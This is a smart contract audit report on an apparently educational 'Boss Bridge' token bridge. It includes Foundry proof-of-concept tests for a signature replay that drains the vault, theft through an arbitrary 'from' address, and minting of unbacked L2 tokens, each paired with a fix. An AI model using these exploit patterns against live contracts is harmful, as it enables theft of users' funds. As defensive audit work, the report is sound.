Protocol Audit Report

Version 1.0

Cyfrin.io

February 8, 2024

Boss Bridge Audit

0xShitgem

February 8, 2024

Lead Auditors:

- 0xShitgem

Table of Contents

Protocol Summary

Disclaimer

Risk Classification

		impact		
		high	medium	low
	high	h	h/m	m
likelihood	medium	h/m	m	m/l
	low	m	m/l	l

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

Roles

Executive Summary

Issues found

Severity	Number of issues found
High	5
Medium	1
Low	0
Info	2

Severity	Number of issues found
Gas	0
Total	8

Findings

High

[H-01] Lack of minimum deposit in `L1BossBridge::depositTokensToL2` allows contact to be DOS'd

Description:

```
if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
    revert L1BossBridge__DepositLimitReached();
}
```

This snippet of code, as we can see, only checks if amount passed in `depositTokensToL2` function doesn't exceed `DEPOSIT_LIMIT`. However, malicious user can pass as low as `1 wei` as `amount` parameter.

Impact: While we're using some off-chain service to pick up event and execute it on L2 - malicious user can DOS this server by passing `1 wei` as input parameter.

Proof of Concept:

1. Malicious user pass again and again `1 wei` as `amount` parameter in function.
2. Server is DOS'ed

Recommendation Consider adding some check of minimum value.

```
+ uint256 public constant MINIMUM_AMOUNT = 1e15;

+ if (amount < MINIMUM_AMOUNT) {
+   revert Some_Error();
+ }
```

[H-02] `L1BossBridge::sendToL1` allows malicious user to replay attack to drain entire vault

Description: Inside `L1BossBridge::sendToL1` function we're sending signed data to be approved by one of bridge operators.

However, these signature doesn't include some kind of replay-protection mechanism (e.g nonces).

Impact: Attacker can read signatures from already signed message on blockchain and replay transaction till the vault will be empty.

Proof of Concept:

```
function testSignatureReplay() public {
    address attacker = makeAddr("attacker");

    uint256 vaultInitialBalance = 100e18;
    uint256 attackerInitialBalance = 100e18;
    deal(address(token), address(vault), vaultInitialBalance);
    deal(address(token), address(attacker), attackerInitialBalance);

    vm.startPrank(attacker);
    token.approve(address(tokenBridge), type(uint256).max);
    tokenBridge.depositTokensToL2(
        attacker,
        attacker,
        attackerInitialBalance
    );



    bytes memory message = abi.encode(
        address(token),
        0,
        abi.encodeCall(
            IERC20.transferFrom,
            (address(vault), attacker, attackerInitialBalance)
        )
    );

    (uint8 v, bytes32 r, bytes32 s) = vm.sign(
        operator.key,
        MessageHashUtils.toEthSignedMessageHash(keccak256(message))
    );



    while (token.balanceOf(address(vault)) > 0) {
        tokenBridge.withdrawTokensToL1(
            attacker,
            attackerInitialBalance,
            v,
```

```
            r,
            s
        );
    }



    assertEq(
        token.balanceOf(address(attacker)),
        attackerInitialBalance + vaultInitialBalance
    );

    assertEq(token.balanceOf(address(vault)), 0);
}
```

Recommended Mitigation: Consider adding nonces to transaction as protection mechanism

```
+   uint256 private currentNonce;

function sendToL1(
    uint8 v,
    bytes32 r,
    bytes32 s,
+   uint256 nonce,
    bytes memory message
) public nonReentrant whenNotPaused {
+   if(nonce != currentNonce ++){
+       revert Some_Nonce_Error();
+   }

    address signer = ECDSA.recover(
        MessageHashUtils.toEthSignedMessageHash(keccak256(message)),
        v,
        r,
        s
    );

    if (!signers[signer]) {
        revert L1BossBridge__Unauthorized();
    }

    (address target, uint256 value, bytes memory data) = abi.decode(
        message,
        (address, uint256, bytes)
    );

    (bool success, ) = target.call{value: value}(data);
    if (!success) {
        revert L1BossBridge__CallFailed();
    }

```

```
35 }
```

[H-03] Arbitrary `from` inside `L1BossBridge::depositTokensToL2` allows anyone to steal tokens

Description: Inside `depositTokensToL2` we execute `token.safeTransferFrom`.

```
1  function depositTokensToL2(
2      address from,
3      address l2Recipient,
4      uint256 amount
5  ) external whenNotPaused {
6      if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
7      revert L1BossBridge__DepositLimitReached();
8      }
9
10 @>   token.safeTransferFrom(from, address(vault), amount);
11
12     // Our off-chain service picks up this event and mints the
           corresponding tokens on L2
13     emit Deposit(from, l2Recipient, amount);
14 }
```

However, we need to pass here address `from`, which allows anyone to pass someone another address.

Impact: When someone approves their tokens, a malicious user can execute this transaction stealing funds of user.

Proof of Concept:

```
1  function testArbitraryFrom() public {
2      address bob = makeAddr("bob");
3      uint256 depositAmount = token.balanceOf(user);
4
5      vm.prank(user);
6      token.approve(address(tokenBridge), type(uint256).max);
7
8      vm.startPrank(bob);
9      vm.expectEmit(address(tokenBridge));
10     emit Deposit(user, bob, depositAmount);
11     tokenBridge.depositTokensToL2(user, bob, depositAmount);
12
13     assertEq(token.balanceOf(user), 0);
14     assertEq(token.balanceOf(address(vault)), depositAmount);
15     vm.stopPrank();
16 }
```

Recommended Mitigation: Consider changing `from` to `msg.sender` to prevent this attack.

[H-04] calling `L1BossBridge::depositTokenToL2` from vault contract allows to mint infinitely tokens

Description: In the constructor of `L1BossBridge` we approved vault `type(uint256).max` amount of tokens. This type of approval allows `depositTokenToL2` function execute, with `from` parameter as `address(vault)` meaning user can transfer from vault to vault, mining on L2 additional tokens.

Impact: Attacker can mint as much tokens as he wants.

Proof of Concept:

```
function testStealFromVault() public {
    address bob = makeAddr("bob");
    uint256 vaultBalance = 500e18;
    deal(address(token), address(vault), vaultBalance);

    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(vault), bob, vaultBalance);
    tokenBridge.depositTokensToL2(address(vault), bob, vaultBalance);

    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(vault), bob, vaultBalance);
    tokenBridge.depositTokensToL2(address(vault), bob, vaultBalance);
}
```

Recommended Mitigation: Consider modifying `depositTokenToL2` function so caller cannot specify `from` address.

[H-05] `create` opcode doesn't work in zksync

Description:

```
function deployToken(
    string memory symbol,
    bytes memory contractBytecode
) public onlyOwner returns (address addr) {
    assembly {
@>      addr := create(
        0,
        add(contractBytecode, 0x20),
        mload(contractBytecode)
        )
    }
```

```
12
13      s_tokenToAddress[symbol] = addr;
14      emit TokenDeployed(symbol, addr);
15  }
```

In code above we see we're using `CREATE` opcode to create new token contract. However, this type of opcode doesn't work in zksync.

Medium

[M-01] Withdrawals are prone to unbounded gas consumption due to return bombs

During withdrawals, L1 part of the bridge executes a low-level call to an arbitray target passsing all available gas.

If malicious target pass large amount of returndata in the call, which solidity copies to memory, which increases gas cost. Callers unaware of this risk may not set gas limit sensibly, therefore be tricked to spent more eth than necessary.

Consider using external libraries like this one: https://github.com/nomad-xyz/ExcessivelySafeCall

Low

Informational

[I-01] `L1BossBridge::DEPOSIT_LIMIT` should be constant

Found in src/L1BossBridge [Line 30]

```
1  uint256 public DEPOSIT_LIMIT = 100_000 ether;
```

Recommendation

```
1  -   uint256 public DEPOSIT_LIMIT = 100_000 ether;
2  +   uint256 public constant DEPOSIT_LIMIT = 100_000 ether;
```

[I-02] `L1BossBridge::depositTokensToL2` not follow CEI

Found in src/L1BossBridge.sol [Line 87]

```
function depositTokensToL2(
    address from,
    address l2Recipient,
    uint256 amount
) external whenNotPaused {
    if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
        revert L1BossBridge__DepositLimitReached();
    }
    token.safeTransferFrom(from, address(vault), amount);

    // Our off-chain service picks up this event and mints the
       corresponding tokens on L2
    emit Deposit(from, l2Recipient, amount);
}
```

The event should be before `token.safeTransferFrom` to follow CEI

Gas